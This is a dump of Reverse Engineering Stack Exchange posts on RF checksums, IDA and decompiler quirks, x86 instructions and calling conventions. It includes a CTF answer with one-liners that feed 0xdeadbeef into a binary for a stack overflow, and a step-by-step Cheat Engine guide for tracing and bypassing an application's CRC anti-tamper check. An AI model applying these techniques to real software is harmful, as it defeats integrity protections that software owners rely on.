    0xE1,0xC0,0x0A,0x0E,0xAA,0x70,0x30,0x30,0x96,0x84,0x27,0x13,0xF6\n0xE1,0xC0,0x0A,0x0E,0xAA,0x60,0x30,0x30,0x96,0x84,0x27,0x13,0xE6\n0xE1,0xC0,0x0A,0x4E,0x8A,0x60,0x38,0x34,0x94,0x84,0x27,0x13,0x10\n0xE1,0xC0,0x0A,0x4E,0x8A,0x70,0x38,0x34,0x94,0x84,0x27,0x13,0x20\n0xE1,0xC0,0x0A,0x4E,0xAA,0x60,0x30,0x34,0x94,0x84,0x27,0x13,0x28\n0xE1,0xC0,0x0A,0x4E,0xAA,0x60,0x38,0x34,0x94,0x84,0x27,0x13,0x30\n0xE1,0xC0,0x0A,0x4E,0xAA,0x70,0x30,0x34,0x94,0x84,0x27,0x13,0x38\n\n0xE1,0xC0,0x0A,0x4F,0x8A,0x70,0x30,0x14,0x9C,0x81,0x25,0x12,0xFB\n0xE1,0xC0,0x0A,0x4F,0xAA,0x70,0x30,0x14,0x9C,0x81,0x25,0x12,0x1B\n0xE1,0xC0,0x0A,0x0E,0xAA,0x70,0x30,0x34,0x94,0x85,0x27,0x13,0xF9\n0xE1,0xC0,0x0A,0x0E,0x8A,0x60,0x38,0x34,0x94,0x85,0x27,0x13,0xD1\n
    \n\n

    Samples

    \n\n
    0xE1,0xC0,0x0A,0x5F,0x8E,0x74,0x39,0x15,0x9C,0x89,0x03,0x33,0x24\n0xE1,0xC0,0x0A,0x1F,0xAE,0x74,0x39,0x15,0x9C,0x89,0x03,0x33,0x04\n0xE1,0xC0,0x0A,0x5F,0xAE,0x74,0x39,0x15,0x9C,0x89,0x03,0x33,0x44\n0xE1,0xC0,0x0A,0x5F,0xAE,0x64,0x31,0x11,0x9E,0x89,0x03,0x33,0x2A\n0xE1,0xC0,0x0A,0x1F,0x8E,0x74,0x31,0x11,0x9E,0x89,0x03,0x33,0xDA\n0xE1,0xC0,0x0A,0x5F,0x8E,0x74,0x31,0x11,0x9E,0x89,0x03,0x33,0x1A\n0xE1,0xC0,0x0A,0x5F,0x8E,0x64,0x39,0x11,0x9E,0x89,0x03,0x33,0x12\n0xE1,0xC0,0x0A,0x1F,0xAE,0x64,0x39,0x11,0x9E,0x89,0x03,0x33,0xF2\n0xE1,0xC0,0x0A,0x5F,0xAE,0x64,0x39,0x11,0x9E,0x89,0x03,0x33,0x32\n0xE1,0xC0,0x0A,0x5F,0xAE,0x74,0x39,0x11,0x9E,0x89,0x03,0x33,0x42\n0xE1,0xC0,0x0A,0x1F,0x8E,0x64,0x31,0x15,0x9E,0x89,0x03,0x33,0xCE\n0xE1,0xC0,0x0A,0x5F,0x8E,0x64,0x31,0x15,0x9E,0x89,0x03,0x33,0x0E\n0xE1,0xC0,0x0A,0x5F,0x8E,0x74,0x31,0x15,0x9E,0x89,0x03,0x33,0x1E\n0xE1,0xC0,0x0A,0x1F,0xAE,0x74,0x31,0x15,0x9E,0x89,0x03,0x33,0xFE\n0xE1,0xC0,0x0A,0x5F,0xAE,0x74,0x31,0x15,0x9E,0x89,0x03,0x33,0x3E\n0xE1,0xC0,0x0A,0x5F,0xAE,0x64,0x39,0x15,0x9E,0x89,0x03,0x33,0x36\n0xE1,0xC0,0x0A,0x1F,0x8E,0x74,0x39,0x15,0x9E,0x89,0x03,0x33,0xE6\n0xE1,0xC0,0x0A,0x5F,0x8E,0x74,0x39,0x15,0x9E,0x89,0x03,0x33,0x26\n0xE1,0xC0,0x0A,0x5F,0x8E,0x64,0x31,0x11,0x9C,0x88,0x03,0xB3,0x87\n0xE1,0xC0,0x0A,0x1F,0xAE,0x64,0x31,0x11,0x9C,0x88,0x03,0xB3,0x67\n0xE1,0xC0,0x0A,0x5F,0xAE,0x64,0x31,0x11,0x9C,0x88,0x03,0xB3,0xA7\n0xE1,0xC0,0x0A,0x5F,0xAE,0x74,0x31,0x11,0x9C,0x88,0x03,0xB3,0xB7\n0xE1,0xC0,0x0A,0x1F,0x8E,0x64,0x39,0x11,0x9C,0x88,0x03,0xB3,0x4F\n0xE1,0xC0,0x0A,0x5F,0x8E,0x64,0x39,0x11,0x9C,0x88,0x03,0xB3,0x8F\n\n0xE1,0xC0,0x0A,0x5E,0x0F,0x24,0x91,0x01,0x86,0x81,0x01,0x30,0x75\n0xE1,0xC0,0x0A,0x1E,0x2F,0x24,0x91,0x01,0x86,0x81,0x01,0x30,0x55\n0xE1,0xC0,0x0A,0x1E,0x2F,0x34,0x91,0x01,0x86,0x81,0x01,0x30,0x65\n0xE1,0xC0,0x0A,0x5E,0x2F,0x34,0x91,0x01,0x86,0x81,0x01,0x30,0xA5\n0xE1,0xC0,0x0A,0x1E,0x0F,0x24,0x99,0x01,0x86,0x81,0x01,0x30,0x3D\n0xE1,0xC0,0x0A,0x1E,0x0F,0x34,0x99,0x01,0x86,0x81,0x01,0x30,0x4D\n0xE1,0xC0,0x0A,0x5E,0x0F,0x34,0x99,0x01,0x86,0x81,0x01,0x30,0x8D\n0xE1,0xC0,0x0A,0x1E,0x2F,0x34,0x99,0x01,0x86,0x81,0x01,0x30,0x6D\n0xE1,0xC0,0x0A,0x1E,0x2F,0x24,0x91,0x05,0x86,0x81,0x01,0x30,0x59\n0xE1,0xC0,0x0A,0x5E,0x2F,0x24,0x91,0x05,0x86,0x81,0x01,0x30,0x99\n0xE1,0xC0,0x0A,0x1E,0x0F,0x34,0x91,0x05,0x86,0x81,0x01,0x30,0x49\n0xE1,0xC0,0x0A,0x1E,0x0F,0x24,0x99,0x05,0x86,0x81,0x01,0x30,0x41\n0xE1,0xC0,0x0A,0x5E,0x0F,0x24,0x99,0x05,0x86,0x81,0x01,0x30,0x81\n0xE1,0xC0,0x0A,0x1E,0x2F,0x24,0x99,0x05,0x86,0x81,0x01,0x30,0x61\n0xE1,0xC0,0x0A,0x1E,0x2F,0x34,0x99,0x05,0x86,0x81,0x01,0x30,0x71\n0xE1,0xC0,0x0A,0x5E,0x2F,0x34,0x99,0x05,0x86,0x81,0x01,0x30,0xB1\n0xE1,0xC0,0x0A,0x1E,0x0F,0x24,0x91,0x01,0x84,0x80,0x01,0xB0,0xB2\n0xE1,0xC0,0x0A,0x1E,0x0F,0x34,0x91,0x01,0x84,0x80,0x01,0xB0,0xC2\n0xE1,0xC0,0x0A,0x5E,0x0F,0x34,0x91,0x01,0x84,0x80,0x01,0xB0,0x02\n0xE1,0xC0,0x0A,0x1E,0x2F,0x34,0x91,0x01,0x84,0x80,0x01,0xB0,0xE2\n0xE1,0xC0,0x0A,0x1E,0x2F,0x24,0x99,0x01,0x84,0x80,0x01,0xB0,0xDA\n\n0xE1,0xC0,0x0A,0x0F,0xAA,0x60,0x30,0x14,0x9C,0x88,0x23,0x13,0xD1\n0xE1,0xC0,0x0A,0x0F,0xAA,0x70,0x30,0x14,0x9C,0x88,0x23,0x13,0xE1\n0xE1,0xC0,0x0A,0x0F,0x8A,0x70,0x30,0x14,0x9C,0x88,0x23,0x13,0xC1\n0xE1,0xC0,0x0A,0x0F,0x8A,0x60,0x38,0x14,0x9C,0x88,0x23,0x13,0xB9\n0xE1,0xC0,0x0A,0x0F,0xAA,0x60,0x38,0x14,0x9C,0x88,0x23,0x13,0xD9\n0xE1,0xC0,0x0A,0x0F,0x8A,0x70,0x38,0x14,0x9C,0x88,0x23,0x13,0xC9\n0xE1,0xC0,0x0A,0x0F,0x8A,0x60,0x30,0x10,0x9E,0x88,0x23,0x13,0xAF\n0xE1,0xC0,0x0A,0x4F,0xAA,0x60,0x30,0x10,0x9E,0x88,0x23,0x13,0x0F\n0xE1,0xC0,0x0A,0x4F,0x8A,0x70,0x30,0x10,0x9E,0x88,0x23,0x13,0xFF\n0xE1,0xC0,0x0A,0x4E,0xAA,0x60,0x30,0x34,0x94,0x84,0x27,0x13,0x28\n0xE1,0xC0,0x0A,0x4E,0x8A,0x70,0x30,0x34,0x94,0x84,0x27,0x13,0x18\n0xE1,0xC0,0x0A,0x4E,0xAA,0x70,0x30,0x34,0x94,0x84,0x27,0x13,0x38\n0xE1,0xC0,0x0A,0x4E,0x8A,0x60,0x38,0x34,0x94,0x84,0x27,0x13,0x10\n0xE1,0xC0,0x0A,0x4E,0xAA,0x60,0x38,0x34,0x94,0x84,0x27,0x13,0x30\n0xE1,0xC0,0x0A,0x4E,0x8A,0x70,0x38,0x34,0x94,0x84,0x27,0x13,0x20\n0xE1,0xC0,0x0A,0x4E,0x8A,0x60,0x30,0x30,0x96,0x84,0x27,0x13,0x06\n0xE1,0xC0,0x0A,0x0E,0xAA,0x60,0x30,0x30,0x96,0x84,0x27,0x13,0xE6\n0xE1,0xC0,0x0A,0x0E,0x8A,0x70,0x30,0x30,0x96,0x84,0x27,0x13,0xD6\n0xE1,0xC0,0x0A,0x0E,0xAA,0x70,0x30,0x30,0x96,0x84,0x27,0x13,0xF6\n
    \n", "Title": "What Checksum/CRC algorithm in RF packet?", "Tags": "|protocol|crc|networking|", "Answer": "

    The checksum algorithm is simple indeed. It adds all the payload bytes modulo 0xFF and then adds 26.

    \n\n

    I wrote a script to test it:

    \n\n
    #!/usr/bin/python\n\nimport binascii\n\ndef checksum(data):\n    payload = data[3:-1]\n    checksum = 26\n    for c in payload:\n        checksum += c\n    checksum &= 0xFF\n    return checksum\n\nwith open(\"input.txt\",\"r\") as f:\n    for line in f:\n        line = line.strip()\n        if line == \"\":\n            continue\n        line = line.replace(\",\",\"\")\n        line = line.replace(\"0x\",\"\")\n\n        data = binascii.unhexlify(line)\n\n        if checksum(data) == data[-1]:\n            print(\"pass\")\n        else:\n            print(\"fail\")\n
    \n\n

    I copied your above samples into input.txt and they all passed.

    \n\n

    As for how I found out, I googled about sync words (didn't know what that is), and 1 byte checksums and some other post mentioned simple addition. I also tested multiple CRC8 variants but none worked. I also found it telling that the checksum seems to reflect changes in the input, such as:

    \n\n
    0xE1,0xC0,0x0A,0x4E,0x8A,0x60,0x38,0x34,0x94,0x84,0x27,0x13,0x10\n0xE1,0xC0,0x0A,0x4E,0x8A,0x70,0x38,0x34,0x94,0x84,0x27,0x13,0x20\n
    \n\n

    The 0x60 changed to 0x70 and so did the checksum increase by 0x10 which - I think - would not be as obvious for CRCs.

    \n" }, { "Id": "18252", "CreationDate": "2018-05-13T10:59:57.293", "Body": "

    This binary was from a CTF challenge.

    \n\n

    I found 2 way to solve this, one is run & debug the bin, set a break point and see result in flag after the bin running, another is trying to understand the function.

    \n\n

    There are some parts that i dont understand even when i solved this challenge :

    \n\n

    Why my IDA reverse the string (v6 should be \"Bkav\" and v7 + v8 should be \"Security\"

    \n\n

    As you see, it pass the char* v6 (\"Bkav\") into the func01 and func02, but when i do the same thing, it give wrong flag. But when i try to pass the \"BkavSecurity\" in to func01 and func02, it give me right flag. Quite confuse about this.

    \n\n

    \"enter

    \n\n

    You can find file here : https://www.sendspace.com/file/g7w8nz

    \n", "Title": "Some question about IDA", "Tags": "|ida|hexrays|", "Answer": "

    well you can create a stackvar K on all the four instructions and convert those stack variables to an array of proper length

    \n\n

    then you can see ida showing you the offsets from base the screen shot is from ida free 5 on a 32 bit machine (it doesn't decompile )

    \n\n

    but in your case i think decompilation would be more better ( this construct is an inlined/unrolled strcpy(src,dest)

    \n\n

    \"enter

    \n" }, { "Id": "18274", "CreationDate": "2018-05-15T17:39:46.870", "Body": "

    Some times the psuedo code generated by IDA is baffling

    \n\n
    v8 = (signed int)&loc_100010; //ida\nv8 = 0x100010; //actual code\n
    \n\n

    This is not so bad when it is just one value but sometimes the offset for member variables are also distorted this way

    \n\n
    v2 = a1 + (_DWORD)&loc_2043B90 - 33831600); //ida\nv2 = a1 + 224; //actual offset\n
    \n\n

    This makes for horrible readability and it is even worse for arrays. Is there a way to fix this?

    \n\n

    This happens a lot with floating point numbers

    \n\n
    v63 = **(float **)((char *)&loc_15D9503 + 33831601)\n
    \n\n

    I should add this is a MACH-O x86 binary (if that matters)

    \n", "Title": "How to do i fix it when IDA pro mislabels values as loc_", "Tags": "|ida|decompilation|", "Answer": "

    Names with loc_ prefix are generated in case IDA thinks that it's code at that address. So now IDA thinks that theres' code at 2043B90 and at 100010.

    \n\n

    You should go to 2043B90 (in the disassembly view), undefine the code piece which IDA create and create a data structure there, then specify the type information (Y key) that it's an array like \"int myarray[300]\". This is just an example, you need to determine the type of the data yourself.

    \n\n

    As for loc_100010, you should also go to the address 100010 undefine the code there and create a string, if you think that there's a literal.

    \n\n

    Then press F5 in you function again to renew the decompiler output.

    \n\n

    p.s. IDA might want to keep the loc_ names even after you undefine the code piece, so you'll need to delete this loc_ name in order to make IDA generate the new one.

    \n" }, { "Id": "18276", "CreationDate": "2018-05-15T18:51:48.143", "Body": "

    The first time I heard about binary disassembly I thought that it is something what can be called as perfect decompilation tool to assembly code and I still don't understand why it is not. I thought that assembly opcodes can be translated directly to binary sequences and directly back from binary sequences to opcodes but leater I heard about some things like possibility of mixing code and data and possibly some other things that make my thought about that I could dissasemble any binary and back assemble it to recreate the same binary impossible. Please don't downvote me immediately. I know practically nothing about reverse engineering and I'm thinking about starting my adventure with it. Can You please axplain me on some examples why things are like they are ?

    \n", "Title": "What exactly is binary disassembly and what it produces?", "Tags": "|disassembly|decompilation|", "Answer": "

    First of all welcome to the world of reverse engineering, if there was really such a tool as a perfect disassembler this whole stack exchange forum wouldn't even exist.

    \n\n

    Before tackling your question right away I'd like to start talking about what reversing really means and what it is all about as I see it as a more appropriate approach to your question.

    \n\n

    The first question you ask given a binary file is \"What?\" I mean in both senses, a binary dump of what seems to be an infinetely large sequence of zeroes and ones and is in fact a your favorite video game or driver.

    \n\n

    How do you interpret the data?\nHonestly, this sequence could be anything a text file, program, driver, image, music, video, some trojan etc.. and suppose you know it's one of the above, you still don't know how to interpret it, if it's some sort of media, what format is it (png, mp3, avi...)? \nIf it is a program for which platform is it (windows / Linux) or even worse what CPU architecture is it even for (x86, ARM, PowerPC, MSP430...), and what version of that CPU is it for?. Wait but what if it is encrypted? What encryption is it? I believe you get the point by now.

    \n\n

    The last paragraph is meant to give a sense to the ridiculously large amount of possibilities that this said series of code could represent.\nNow your question is specifically about code disassembly. Disassembly is exactly the process of converting the different binary sequences into their original opcode, however when you get a program and supposing you know the platform / CPU / version etc..

    \n\n

    And, supposing the opcodes couldn't be mixed up. For example, Let 0101 (instruction a), 0011 (b) be opcodes, suppose there is also longer different opcodes 01010011 (c) and 00110101 (d). Given the sequence 0101001100110101\nHow do you know how to interpret the code (abba, cd, cab..)? (Spoiler: usually ISAs are designed in a way that such collisions wouldn't be made possible)

    \n\n

    Great, we now supposedly have a perfect disassembler and now we want to get a step further, and get the original code. Here comes the problem

    \n\n

    Take for example the following code:

    \n\n
    .loop:\n    xadd eax, edx\n    loop .loop\n
    \n\n

    Basically what we see here is a command of addition and exchange (add edx to eax and then switch their content) now the trivial way to make out the original code would be something like:

    \n\n
    for (int i = n; i > 0; i--)\n{\n    a += b;\n    switch(a, b);\n}\n
    \n\n

    However the smart reverse engineer could translate it as such:

    \n\n
    genrate_nth_fibonnacci(n);\n
    \n\n

    when eax and edx start at 0 and 1

    \n\n

    Similarly, a series of random commands in a malware may be translated into \"makeAntivirusNotNotice\" function or in an otherwise legit program be a very efficient algorithm for a special case.

    \n\n

    Thus, programming also has intention when writing the code so when you are trying to reverse a program the same code or as mentioned earlier seemingly chaotic series of bytes could have different meanings depending on context, a lot of high level code alternatives and as of the time of writing there still isn't a tool which can also predict the original programmer's intention. The best decompilers and reversing tools such as Radare and IDA try to analyze better and imitate such functionality but right now it is the reverse engineer's task.

    \n" }, { "Id": "18286", "CreationDate": "2018-05-16T14:12:34.347", "Body": "

    I am attempting to reverse engineer the DYMO Connect app in order to learn how to print to a DYMO LabelWriter Wireless printer. However, the mobile driver for the printer is in several different formats: id0, id1, nam, so, and til. Is there any way that I can open any one of these files so that I can see what code they wrote for the driver? I have searched about this question a lot, but the answers are not very helpful.

    \n", "Title": "How can I open id0, id1, nam, so, or til files?", "Tags": "|android|java|", "Answer": "

    id0, id1, nam and til files - are the temporary files which IDA creates when you load your binary into it. And after you close IDA, choosing to save the disassembly result, it's going to delete those files and save idb file instead. Idb - is a binary file where IDA stores disassembly information, so you need to open it with IDA in order to see what's inside. Since the only extension left is .so, I suppose that was the extension of the driver.

    \n" }, { "Id": "18289", "CreationDate": "2018-05-16T15:25:29.137", "Body": "

    I have an obfuscated java binary which does runtime code injection using java reflection like this.

    \n\n
    Object o = \"a long string\";\n((Method)o).invoke(params..);\n
    \n\n

    (If I write this in a java file, it would compile fine, but I have to edit the disassembly of the class file and remove checkcast instruction to make it run.)

    \n\n

    What I want to do is disassemble/decompile the content of the long string as JVM bytecode. Since this is not a full class, but only a method, I can't get any of the available java reverse engineering tools to work with it.

    \n\n

    I'm now trying to inject this code into a separate class at runtime and then dump it out of memory. But I'm not sure if it's possible to do. even using a javaagent.

    \n\n

    Is there any other easy way to accomplish what I'm trying to do?

    \n", "Title": "Disassemble/decompile arbitrary JVM bytecode", "Tags": "|disassembly|decompilation|java|byte-code|", "Answer": "

    It doesn't make sense to talk about the \"bytecode for only a method\", because Java bytecode can't run in isolation. The instructions contain references to the constant pool, which is part of the classfile and shared between all methods in the class. The smallest executable unit of bytecode is the classfile.

    \n\n

    The question as written doesn't make sense, but if you post the actual data you are dealing with, perhaps we can figure out what is going on.

    \n" }, { "Id": "18290", "CreationDate": "2018-05-16T18:31:16.733", "Body": "
    sar eax, 6\n...\nsar eax, 0x1f\n
    \n\n

    This arithmetic shift operation confuses me. Understand that it's taking the value of eax in hex then shifting it to the right by 6 and the same for the next operation by 0x1f. See what the end result is, but still looking to better understand what's happening with these Shift Operations.\nSay eax was 0x3338e3e0, how exactly does it get to 0x00cce38f step by step?

    \n", "Title": "SAR Instruction", "Tags": "|assembly|", "Answer": "
    C:\\>python -c \"print \\\"{0:8X}={0:b}\\n{1:8X}={1:b}\\\".format(0x3338e3e0,0x3338e3e0>>6)\"\n3338E3E0=110011001110001110001111100000\n  CCE38F=110011001110001110001111\n
    \n" }, { "Id": "18291", "CreationDate": "2018-05-16T18:37:53.967", "Body": "

    I've a binary (openend in IDA v7) that uses GUID variables to manipulate something. Whenever I see any variable with GUID data type there always be a _mm_store_si128() or _mm_storeu_si128() functions. I've seen the definitions in Intel Intrinsics Guide. But the article shows that those functions only stores 128-bits of integer data from a variable into memory. The full subroutine is lengthy so I add a small section. Here is an example:

    \n\n

    \"_mm_store_si128\"

    \n\n

    In pseudocode:

    \n\n
    if ( RtlGUIDFromString(&GuidString, Guid) >= 0 )\n    {\n      _mm_store_si128(&v18, v10);\n      v18.m128i_i64[1] -= v11;\n      v18.m128i_i64[0] = v10.m128i_i64[0] + 2 * v11;\n      _mm_store_si128((__m128i *)&GuidString, v18);\n      sub_140010DC0(&v18, (__m128i *)&GuidString);\n      v10 = v18;\n    }\n
    \n\n

    So my questions are: Does those functions only copy 128bit data? Is it same as memcpy() or memmove()? If yes then why not IDA shows those functions (later ones)? Are there any hidden deep relation between _mm_store_si128 and CPU instructions?

    \n", "Title": "What does _mm_store_si128() actually do?", "Tags": "|disassembly|", "Answer": "

    1) The _mm_store_si128 intrinsic indeed stores 128-bits to memory. 128-bits is 16 bytes which is exactly the size of a GUID.

    \n\n

    2) The difference between _mm_store_si128 and memcpy/memmove is that whilst both take a pointer to the destination address in memory, the intrinsic takes a value as the source and memcpy/memmove take a pointer to a source in memory. See the function prototypes -

    \n\n
    void _mm_store_si128 (__m128i* mem_addr, __m128i a);\nvoid * memcpy ( void * destination, const void * source, size_t num );\n
    \n\n

    3) It's not really a hidden deep relationship. In most cases the intrinsics have a 1-1 relationship with CPU instructions. These are documented in Volume 2 of the Intel 64 and IA-32 Architectures Software Developer Manuals.

    \n\n
    _mm_store_si128  <=> MOVDQA with a memory destination\n_mm_storeu_si128 <=> MOVDQU with a memory destination\n
    \n" }, { "Id": "18295", "CreationDate": "2018-05-16T22:26:59.740", "Body": "

    I'm working on a CTF challenge that is an introduction to smashing the stack. I have the binary working in GDB, and can overwrite the correct part of the stack with printable characters.

    \n\n

    The challenge, however, is that the binary expects 0xdeadbeef in the correct stack location - and I'm a bit stumped on how to input that value. I've seen examples online where python is used to supply hex values as the argument to the binary - but this particular binary runs, prints a query message, THEN expects input, instead of just reading an argument.

    \n\n

    What is the best way to handle this, initially in GDB to confirm my approach, and then using NC to receive the actual flag? I'm working on Ubuntu.

    \n\n

    Apologies for asking a basic question, but this has been tripping me up.

    \n\n

    Thank you!

    \n", "Title": "Basic question: how to input non-printable hex values in GDB / NC?", "Tags": "|gdb|hex|", "Answer": "

    Well, you have several options to do so. These are the two simplest:

    \n\n

    Supplying the input through the pipeline:

    \n\n
    $ python -c \"print '\\xde\\xad\\xbe\\xef'\" | ./binary\n$ python -c \"print 0xdeadbeef\" | ./binary\n
    \n\n

    Supplying the input from within GDB:

    \n\n
    (gdb) r <<< $(python -c \"print '\\xde\\xad\\xbe\\xef'\")\n(gdb) r <<< $(python -c \"print 0xdeadbeef\")\n
    \n" }, { "Id": "18300", "CreationDate": "2018-05-17T02:57:26.490", "Body": "

    I am currently using IDA to disassemble a keygen. In the first few lines of a specific function before the eax and edx registers are given a value, their contents are moved to stack variables var_40 and var_44.

    \n\n

    Here's said function's initial assembly listing:

    \n\n
    var_44= dword ptr -44h\nvar_40= dword ptr -40h\n\npush    ebp\nmov     ebp, esp\nadd     esp, 0FFFFFFA8h\npush    esi\npush    edi\nmov     [ebp+var_44], edx\nmov     [ebp+var_40], eax\n
    \n\n

    I would like to know what are the values of EAX and EDX.

    \n\n

    Do they default to 0 since they weren't previously used and this is just an initialization of the local variable?\nThere are other stack variables that IDA declared, I only mentioned var_40 and var_44 since they are the ones I had trouble understanding.

    \n\n

    Any help would be greatly appreciated.

    \n", "Title": "Confused about the value of edx and eax registers used at function entry", "Tags": "|ida|register|calling-conventions|", "Answer": "

    TL;DR: The registers are used to pass arguments between the calling function to the callee. In order to understand their values you'll need to look at code prior to it being called.

    \n

    Since you've mentioned the data stored from the registers is then used to initialize another register before a call, this is a case of data passed between functions using registers.

    \n

    This may slightly look like saving registers for them to be restored prior to retuning back to the caller, however according to OP the values are not copied back from the stack (var_44, var_40) near the functions return. Additionally, eax is nearly never a preserved register so this is unlikely to be the case.

    \n

    What are calling conventions

    \n

    Calling convention is how arguments are passed between caller and callee functions. Wether arguments are stored on the stack, in registers or anyplace else by the caller function prior to calling the callee function, in order for the callee function to read them.

    \n

    Once we know what calling conventions are, a question raises as to who defined what available calling conventions are available as well as picks the calling convention to use between functions. Obviously, if a caller and callee assume a different calling convention code will break and we'll likely to get a segfault.

    \n

    Although this question may seem trivial in cases where the same compiler builds both the callee and caller, compiling different binaries by different compilers may complicate things.

    \n

    You may want to read more about calling conventions used by the compiler/architecture you're reverse engineering.

    \n

    fastcall calling conventions

    \n

    There are quite a few x86 calling conventions with several resembling each other but used by different compilers but x64 calling conventions are more standardized.

    \n

    Originally, calling conventions heavily relied on the stack and all parameters were passed through it, however for performance reasons register usage became more frequent as it avoids the extra memory writes. Since not all data can be stored using registers (and other reasons) these are mixed calling conventions.

    \n

    These mixed calling conventions are commonly called "fastcall" due to being faster by avoiding the unneeded stack writes. There are several x86 fast calling conventions, depending on compiler used. Although there are several calling conventions take make usage of the eax and edx, but the important thing to note here is that they're used for the values previously set by the calling function.

    \n" }, { "Id": "18305", "CreationDate": "2018-05-17T21:05:35.093", "Body": "

    tl;dr: I am reversing a GoLang 1.10 executable, compiled for Windows. I am trying to make IDA correctly recognize the calling convention.

    \n\n

    Details: I am looking at an x86 executable where the following (nonstandard) calling convention is used.

    \n\n
      \n
    1. caller creates space on the stack for possibly multiple return values, i.e. subtracts 4*return_count from ESP.
      2. \n
    2. caller pushes arguments to callee to the stack, calls callee
      3. \n
    3. callee creates a stack frame for local variables
      4. \n
    4. callee does work
      5. \n
    5. callee restores ESP to be the same as before step 3
      6. \n
    6. callee stores return values on the stack below its arguments
      7. \n
    7. call returns
      8. \n
    \n\n

    The caller now has the return values and the arguments still in the local stack frame, the latter on top of the former, and cleans up. This is a GoLang 1.10 executable, but I am describing the calling convention that I am seeing here, I do not know any reference for this. If something about the GoLang calling convention in Windows compiled executables is known; I would be very interested in that as well.

    \n\n

    More to the point however, I am looking for a way to make IDA correctly understand this calling convention. As an example, consider the following code:

    \n\n
     test proc near                   ; test receives two arguments\n   sub     esp, 18h               ; create stack frame\n   mov     eax, [esp+1Ch]         ; argument 1 to test:\n   mov     [esp], eax             ;  moved to top of stack frame\n   mov     eax, [esp+20h]         ; argument 2 to test:\n   mov     [esp+4], eax           ;  moved second to top of stack frame\n   call    sub1                   ; call sub1(test_arg_1, test_arg_2)\n   mov     eax, [esp+14h]         ; retrieve return_value_1\n   mov     ecx, [esp+10h]         ; retrieve return_value_2\n   mov     [esp], ecx           \n   mov     [esp+4], eax\n   call    sub2                   ; call sub2(return_value_1, return_value_2)\n   movzx   eax, byte ptr [esp+8]  ; retrieve single return value\n   xor     eax, 1                 ; negate result\n   mov     [esp+24h], al          ; store result below arguments to test\n   add     esp, 18h               ; close stack frame\n   retn                           ; return\n
    \n\n

    I tried to give sub1 more parameters:

    \n\n
    int __cdecl sub1(int, int, int, int, int, int)\n
    \n\n

    But unfortunately, it is not reflected in the decompiled code that the last two \"arguments\" to this function are actually return values which are being passed on to sub2:

    \n\n
    int __cdecl test(int a1, int a2)\n{\n  int v2; // ST10_4\n  int v3; // ST14_4\n  unsigned __int8 v4; // ST08_1\n  int esp_08; // [esp+8h] [ebp-10h]\n  int esp_0C; // [esp+Ch] [ebp-Ch]\n  int esp_10; // [esp+10h] [ebp-8h]\n  int esp_14; // [esp+14h] [ebp-4h]\n  void *retaddr; // [esp+18h] [ebp+0h]\n\n  sub1(a1, a2, esp_08, esp_0C, esp_10, esp_14);\n  sub2(v2, v3);\n  return v4 ^ 1;\n}\n
    \n\n

    In an attempt to make use of this advanced calling convention syntax, I also created a structure containing two 32 bit integer fields and declared sub1 as follows:

    \n\n
    struc_1 __usercall sub1@<0:^8.4,4:^12.4>(int, int)\n
    \n\n

    I tried several variations of this, different offsets, also returning only a native type, but IDA 7.1 always crashed with the following message:

    \n\n
    \n

    Oops! internal error 1004 occurred. Further work is not possible and IDA will close.

    \n
    \n\n

    Is there any good way or workaround to make IDA recognize this calling convention and accurately reflect it in the decompiled code?

    \n\n

    Reproduce MWE

    \n\n

    To produce the above example, you can use the following test.go source file:

    \n\n
    package main\nimport \"os\"\n\nfunc sub2(x int, y int) bool { return x == y }\nfunc sub1(x int, y int) (int, int) { return y,x }\nfunc test(x int, y int) bool { return ! sub2(sub1(x,y)) }\n\nfunc main() {\n  test(1,2)\n  os.Exit(0)\n}\n
    \n\n

    You can compile it as follows (disabling optimization is important):

    \n\n
    set GOARCH=386\ngo build -gcflags=-N -gcflags=-l test.go\n
    \n\n

    In IDA, the test function should be automatically renamed to main_test.

    \n", "Title": "How to specify stack-based return values in IDA Pro (GoLang)", "Tags": "|ida|x86|calling-conventions|", "Answer": "

    I have been in touch with IDA support and unfortunately, right now, there does not seem to be a good way to do this. IDA assumes in many cases that the return value of a function must be stored in a register. This is also the reason for the crash when trying to overrule this inherent assumption with scattered arguments.

    \n" }, { "Id": "18322", "CreationDate": "2018-05-20T07:30:13.563", "Body": "

    I am currently trying to bypass a CRC check, that exists inline on many places in an application to check if memory pages in the .text section have been modified.

    \n

    \"CRC\nShort explanation of the crc32 instruction:

    \n
    \n

    Starting with an initial value in the first operand (destination operand), accumulates a CRC32 (polynomial 11EDC6F41H) value for the second operand (source operand) and stores the result in the destination operand.

    \n
    \n

    Okay so: rsi contains the pointer of the next memory page that gets scanned and rax is the offset/counter. rdx is usually 200 (200 loops).

    \n

    My goal: find where rsi is set. There has to be some instruction like mov rsi, next_memory_page_to_be_scanned.

    \n

    Going further up in code:\n\"init

    \n

    So here are the loop vars initialized (rdx,rax).

    \n

    Going more up:\"first

    \n

    So here is one of the things I am stuck: the yellow marked part seems to be the first instructions I can bp that gets executed before CRC_CHECK. I mean some other place obviously calls it, but I don't know how to find that place.

    \n

    I tried to follow the return pointer: \"return

    \n

    but the return pointer points to nothing basically. Breakpointing one instruction above (and [rcx], al) won't trigger the bp (seems to not have anything todo with the CRC check). How do I backtrace this further?

    \n

    The value of rsi lays also not on the stack when I bp the CRC.

    \n

    Thanks!

    \n", "Title": "Backtracing where a register gets initialized", "Tags": "|ida|crc|stack|cheat-engine|", "Answer": "

    Jumping off of Igor's suggestion of a trace, have you tried a break and trace via Cheat Engine yet? If not, consider the following:

    \n\n
      \n
    1. Whether via byte array (requiring an AOB scan first; make sure you select read/write memory), module+offset, or symbol name (if applicable), find your way to the crc32 edi, qword ptr [rsi+rax*8] instruction in Cheat Engine's disassembler (the top half of the Memory Viewer).
      2. \n
    2. Right-click on the instruction and choose Break and trace instructions.
      3. \n
    3. In the subsequent window, check Save stack snapshots and Step over instead of single step, then click OK.
      4. \n
    4. Once the Tracer window populates with your trace, right-click within it and choose Expand all.
      5. \n
    5. Scroll to the farthest branch of the tree, of which the top-most instruction should be your crc32 edi, qword ptr [rsi+rax*8] instruction.
      6. \n
    6. Click the Stack button and keep the window that opens (Stack View), beside the Tracer window.
      7. \n
    \n\n

    Now work your way down the list of recorded instructions (which will take you back up through callers with each branch). You can watch the registers on the right-hand side, as well as the stack via the Stack View window. You can double-click on any instruction in the Tracer to take you to that instruction in the disassembler, where you can then read up through sub-routines from callers.

    \n\n

    If there isn't enough branching for you, then run the trace again and change the initial number of instructions traced from 1000 to whatever you'd like. Also, if you find your way into a caller's sub-routine and there are other calls from within it that you'd like to drill down into, simply run another break/trace at some point before the call, then do not select (or de-select, if it's already selected) Step over instead of single step.

    \n\n

